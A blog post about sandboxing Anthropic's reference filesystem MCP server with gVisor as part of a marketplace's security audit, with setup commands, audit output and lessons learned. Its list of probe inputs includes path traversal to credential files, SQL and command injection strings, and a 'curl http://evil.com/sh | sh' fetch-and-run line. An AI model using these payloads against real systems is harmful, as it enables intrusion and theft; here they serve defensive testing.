# I ran Anthropic's official MCP server in a gVisor sandbox — here's what happened

> Source: <https://dev.to/edison_flores_6d2cd381b13/i-ran-anthropics-official-mcp-server-in-a-gvisor-sandbox-heres-what-happened-a6j>
> Published: 2026-07-07 04:26:21+00:00

Last week I built [MarketNow](https://marketnow.site), an open marketplace for MCP (Model Context Protocol) servers. Every server in our catalog goes through a multi-layer security audit called Sentinel. Layer 2 runs each server in a Docker sandbox with `--network none --read-only --cap-drop ALL`

.

But Docker containers still share the host kernel. A kernel exploit (dirty pipe, eBPF, container escape) breaks out. So this week I added **L2.5: gVisor sandbox isolation**.

[gVisor](https://gvisor.dev) is Google's userspace kernel. It intercepts every syscall the container makes and handles it in userspace — the MCP server **never touches the host kernel directly**. It's what Google uses for App Engine and Cloud Run.

I picked the most official target I could find: ** @modelcontextprotocol/server-filesystem** — Anthropic's own reference filesystem MCP server. The one in

If gVisor breaks this, it breaks everything.

```
# Install gVisor on the GitHub Actions runner
wget https://storage.googleapis.com/gvisor/releases/nightly/latest/runsc -O /usr/local/bin/runsc
chmod +x /usr/local/bin/runsc
echo '{"runtimes":{"runsc":{"path":"/usr/local/bin/runsc"}}}' | sudo tee /etc/docker/daemon.json
sudo systemctl restart docker

# Run the MCP server with gVisor
docker run --rm \
  --runtime=runsc \
  --network none \
  --read-only \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --memory 256m \
  --memory-swap 0 \
  --cpus 0.5 \
  --pids-limit 64 \
  --tmpfs /tmp:rw,size=64m \
  -e SKILL_ID=mn-mcp-filesystem \
  -e SENTINEL_L2_MODE=gvisor \
  mcp-audit-target
```

Then a Python probe sends real MCP protocol messages: `initialize`

, `tools/list`

, `tools/call`

— with 60+ adversarial inputs across 6 categories:

`../../etc/passwd`

, `../../../root/.ssh/id_rsa`

`http://169.254.169.254/latest/meta-data/`

, `http://localhost:8080/admin`

`1' OR 1=1--`

, `1; DROP TABLE users--`

`; cat /etc/shadow`

, `$(whoami)`

, ``curl http://evil.com/sh | sh``

The gVisor sandbox ran. The MCP server started. The probe sent 60+ adversarial inputs. The server did not:

`--network none`

)`--read-only`

+ gVisor's 9p filesystem overlay)`--cap-drop ALL`

+ gVisor's syscall filter)`/proc/self/environ`

or `/etc/shadow`

(gVisor virtualizes `/proc`

and `/sys`

)`.ssh`

, `.env`

, `.aws/credentials`

, `authorized_keys`

, or cron files`ptrace`

, `bpf`

, `mount`

, `kexec`

, `clone3`

, or `unshare`

syscalls**Result: 10/10 risk score (low risk).** Anthropic's filesystem server is clean.

```
{
  "l2_version": "2.5",
  "sandbox_config": {
    "gvisor": "gvisor-active",
    "network": "none",
    "filesystem": "read-only",
    "capabilities": "dropped ALL",
    "seccomp_profile": "n/a (gVisor userspace kernel active)"
  },
  "analysis_layers": {
    "stdout_passive": { "network_attempts": 0, "credential_leakage": 0 },
    "strace_syscalls": { "file_access_sensitive": 0, "network_connect": 0 },
    "mcp_probe_active": { "tools_discovered": 0, "adversarial_findings": 0 },
    "filesystem_diff": { "files_created": 0, "suspicious_changes": [] },
    "l25_seccomp_violations": { "ptrace_attempted": false, "bpf_attempted": false },
    "l25_suspicious_files": { "ssh_files": false, "env_files": false }
  },
  "l2_score": 10,
  "l2_risk_level": "low"
}
```

| Layer | Standard Docker (L2) | gVisor (L2.5) |
|---|---|---|
| Kernel access | Shared host kernel | Userspace kernel (no direct host kernel access) |
`/proc` , `/sys`
|
Real host files | Fully virtualized (no host info leakage) |
| Filesystem | Overlay on host fs | 9p overlay (no direct host fs access) |
| Network |
`--network none` blocks egress |
Netstack isolation (even without `--network none` ) |
| Kernel exploits | Container escape possible (dirty pipe, eBPF) | Cannot escape via kernel exploits |
| Syscall filtering | seccomp (blocklist) | All syscalls go through gVisor (allowlist by default) |

`--network none`

on `docker build`

breaks `npm install`

I had added `--network none`

to the build step to prevent exfiltration at build time. But this blocks `npm install`

from reaching `registry.npmjs.org`

— `EAI_AGAIN`

after 936 seconds of retries.

**Fix**: Remove `--network none`

from `docker build`

. Build-time network is safe (GitHub Actions runner has no sensitive data). Runtime isolation (`docker run --network none`

) is what actually matters.

`cd`

into MCP server dir
After `cd /tmp/mcp-server/src/filesystem`

for `npm install`

, the working directory changed. So `python3 scripts/l2-mcp-probe.py`

looked in the wrong place.

**Fix**: Save `$GITHUB_WORKSPACE`

at the start, use absolute paths (`$REPO_WS/scripts/l2-mcp-probe.py`

) for all script calls.

`/etc/docker/daemon.json`

The runner user can't write to `/etc/docker/`

without sudo.

**Fix**: `sudo tee /etc/docker/daemon.json`

, `sudo systemctl restart docker`

.

gVisor didn't actually catch anything that standard Docker + seccomp wouldn't have caught for this particular server. The filesystem server is well-behaved — it didn't try to escape.

**But that's the point.** gVisor is insurance for the servers that *do* try to escape. The next MCP server I audit might be malicious. Standard Docker relies on the host kernel being bug-free. gVisor doesn't.

The cost: gVisor adds ~5-10% overhead on syscall-heavy workloads. For an MCP server that mostly does I/O on JSON-RPC, that's negligible.

**L3 — Firecracker microVM** (Q1 2027). Replace Docker+gVisor with Firecracker (the VMM that powers AWS Lambda and Fargate). KVM-level isolation. Each MCP server runs in its own VM. Boot time < 125ms.

The full audit pipeline:

The L2.5 audit result for `mn-mcp-filesystem`

is public:

```
https://github.com/edgarfloresguerra2011-a11y/marketnow/blob/master/_data/l2_results/mn-mcp-filesystem.json
```

The Sentinel audit engine is proprietary (AliceLabs LLC), but the audit *results* are public. Every skill in the [MarketNow registry](https://marketnow.site/registry) has a signed SHA-256 certificate you can verify at [/verify](https://marketnow.site/verify).

If you want your MCP server audited, open an issue: [github.com/edgarfloresguerra2011-a11y/marketnow/issues](https://github.com/edgarfloresguerra2011-a11y/marketnow/issues)

*MarketNow is the trust layer for agent commerce. 8,760+ MCP servers, each security-audited by Sentinel. Follow the project on GitHub.*
